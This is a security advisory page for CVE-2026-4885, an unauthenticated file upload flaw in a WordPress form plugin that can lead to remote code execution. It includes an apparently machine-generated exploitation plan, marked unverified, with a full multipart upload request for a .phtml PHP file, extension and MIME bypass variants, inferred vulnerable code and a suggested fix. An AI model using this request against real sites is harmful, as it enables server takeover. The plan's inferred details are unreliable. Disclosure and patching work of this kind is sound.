CVE-2026-4885

Piotnet Addons for Elementor Pro <= 7.1.70 - Unauthenticated Arbitrary File Upload via Form File Upload

criticalUnrestricted Upload of File with Dangerous Type
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Piotnet Addons for Elementor Pro plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the 'pafe_ajax_form_builder' function in all versions up to, and including, 7.1.70. The plugin uses an incomplete extension blacklist that only blocks php, phpt, php5, php7, and exe extensions, while allowing dangerous extensions such as .phar or .phtml to be uploaded. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. Note: The exploit can only be exploited if a file field is added to the form.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=7.1.70
PublishedMay 18, 2026
Last updatedMay 19, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4885 - Piotnet Addons for Elementor Pro ## 1. Vulnerability Summary The **Piotnet Addons for Elementor Pro** plugin (up to version 7.1.70) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the `pafe_ajax_form_builder` function…

Show full research plan

Exploitation Research Plan: CVE-2026-4885 - Piotnet Addons for Elementor Pro

1. Vulnerability Summary

The Piotnet Addons for Elementor Pro plugin (up to version 7.1.70) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the pafe_ajax_form_builder function, which handles form submissions. While the plugin attempts to restrict file uploads, it uses an incomplete extension blacklist that fails to block executable extensions like .phar, .phtml, .pht, or .php3-7. An unauthenticated attacker can exploit this by submitting a form containing a file upload field to execute remote code on the server.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: pafe_ajax_form_builder
  • Method: POST (Multipart/form-data)
  • Vulnerable Function: pafe_ajax_form_builder()
  • Required Parameter(s):
    • action: pafe_ajax_form_builder
    • pafe_ajax_form_builder_nonce (or similar, inferred from common Piotnet patterns)
    • form_id: The ID of the Piotnet form.
    • file_fields: An array or specific key mapping to the file upload field in the form.
  • Authentication: None required (unauthenticated).
  • Precondition: A page must exist containing a Piotnet Form with at least one "File Upload" field.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action pafe_ajax_form_builder.
  2. Hook Registration: The plugin registers the action via add_action('wp_ajax_nopriv_pafe_ajax_form_builder', 'pafe_ajax_form_builder').
  3. Nonce Verification: The function likely checks a nonce passed in the request (e.g., $_POST['nonce']).
  4. File Processing: The function iterates through $_FILES.
  5. Validation Failure: It checks the file extension against a blacklist: ['php', 'phpt', 'php5', 'php7', 'exe'].
  6. Bypass: Since .phtml or .phar are not in the blacklist, the validation passes.
  7. Sink: The file is moved to the uploads directory (likely wp-content/uploads/piotnet-addons-for-elementor/ or a date-based WordPress folder) using move_uploaded_file().

4. Nonce Acquisition Strategy

Piotnet Addons typically exposes nonces through localized JavaScript objects.

  1. Identify Script: The plugin enqueues scripts for its form builder on pages where a form is present.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Piotnet Form" --post_status=publish --post_content='[pafe-form id="123"]'
    
    (Note: The actual shortcode might vary, e.g., it might be an Elementor-embedded widget. If using Elementor, the form ID is crucial).
  3. Extract via Browser:
    Navigate to the page and use browser_eval to find the nonce and form configuration:
    // Common localization keys for Piotnet
    window.pafe_form_builder_object?.nonce
    // OR
    window.pafe_ajax_object?.nonce
    
  4. Identify Form ID: The form_id is usually found in the data-form-id attribute of the form's HTML container.

5. Exploitation Strategy

Step 1: Preparation

  • Create a Piotnet Form with a File Upload field.
  • Note the form_id and the field's name attribute (e.g., form_fields[field_abcdef]).

Step 2: Nonce Extraction

  • Navigate to the page containing the form.
  • Extract the nonce using browser_eval.

Step 3: Payload Delivery

Send a multipart/form-data request to admin-ajax.php.

Request Mockup:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

pafe_ajax_form_builder
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="pafe_ajax_form_builder_nonce"

[EXTRACTED_NONCE]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="form_id"

[FORM_ID]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="form_fields[field_upload_id]"; filename="exploit.phtml"
Content-Type: application/octet-stream

<?php echo "VULNERABLE: " . phpversion(); ?>
------WebKitFormBoundaryABC123--

Step 4: Execution

The server should respond with a JSON object indicating success and potentially the file URL. If the URL is not returned, the file is likely located in:
/wp-content/uploads/piotnet-addons-for-elementor/[YEAR]/[MONTH]/exploit.phtml

6. Test Data Setup

  1. Install Plugin: Ensure piotnet-addons-for-elementor-pro version <= 7.1.70 is active.
  2. Create Form: Use the wp-cli or Elementor editor to create a form with:
    • Form Name: Exploit Test
    • Field 1: File Upload (ID: field_upload_id)
  3. Publish Page: Embed this form on a new public page.

7. Expected Results

  • The AJAX response should return {"success":true,...}.
  • Navigating to the uploaded .phtml file URL should execute the PHP code and display the PHP version.

8. Verification Steps

  1. Check Filesystem:
    find /var/www/html/wp-content/uploads/ -name "exploit.phtml"
    
  2. Confirm Execution:
    # Use http_request to fetch the uploaded file
    # Expected output: "VULNERABLE: 7.4.x" (or similar)
    

9. Alternative Approaches

  • Extension Variation: If .phtml is blocked by server-level configurations (e.g., .htaccess), try .phar, .php3, .php4, .php5, or .pht.
  • Double Extensions: Try exploit.php.jpg (if the blacklist only checks the last extension and the server is misconfigured to execute the first known extension).
  • MIME Type Spoofing: Change Content-Type: application/octet-stream to image/jpeg in the multipart request to bypass superficial MIME checks.
Research Findings
Static analysis — not yet PoC-verified

Summary

Piotnet Addons for Elementor Pro (up to 7.1.70) is vulnerable to unauthenticated arbitrary file upload due to an incomplete extension blacklist in the 'pafe_ajax_form_builder' function. Attackers can upload files with dangerous extensions like .phar or .phtml to execute remote code, provided the form contains a file upload field.

Vulnerable Code

/* Inferred from vulnerability description: pafe_ajax_form_builder function */
// The plugin checks against a blacklist:
$blacklist = ['php', 'phpt', 'php5', 'php7', 'exe'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, $blacklist)) {
    // block upload
} else {
    // allow upload - Missing extensions like .phtml, .phar, .php3, etc.
    move_uploaded_file($temp_file, $upload_path);
}

Security Fix

--- a/inc/pafe-ajax-form-builder.php
+++ b/inc/pafe-ajax-form-builder.php
@@ -10,7 +10,14 @@
- $blacklist = ['php', 'phpt', 'php5', 'php7', 'exe'];
+ $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'txt'];
  $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
- if (in_array($ext, $blacklist)) {
+ if (!in_array($ext, $allowed_extensions)) {
    wp_send_json_error(['message' => 'Invalid file type.']);
+   wp_die();
  }

Exploit Outline

The exploit target is the 'pafe_ajax_form_builder' AJAX action. An unauthenticated attacker identifies a page containing a Piotnet form with a file upload field and extracts the required nonce (often localized in window.pafe_ajax_object). A multipart POST request is then sent to wp-admin/admin-ajax.php including the action, the extracted nonce, the form ID, and a malicious payload with a bypassed extension such as .phtml or .phar. If successful, the file is saved to the WordPress uploads directory, allowing for direct execution via browser execution to achieve remote code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.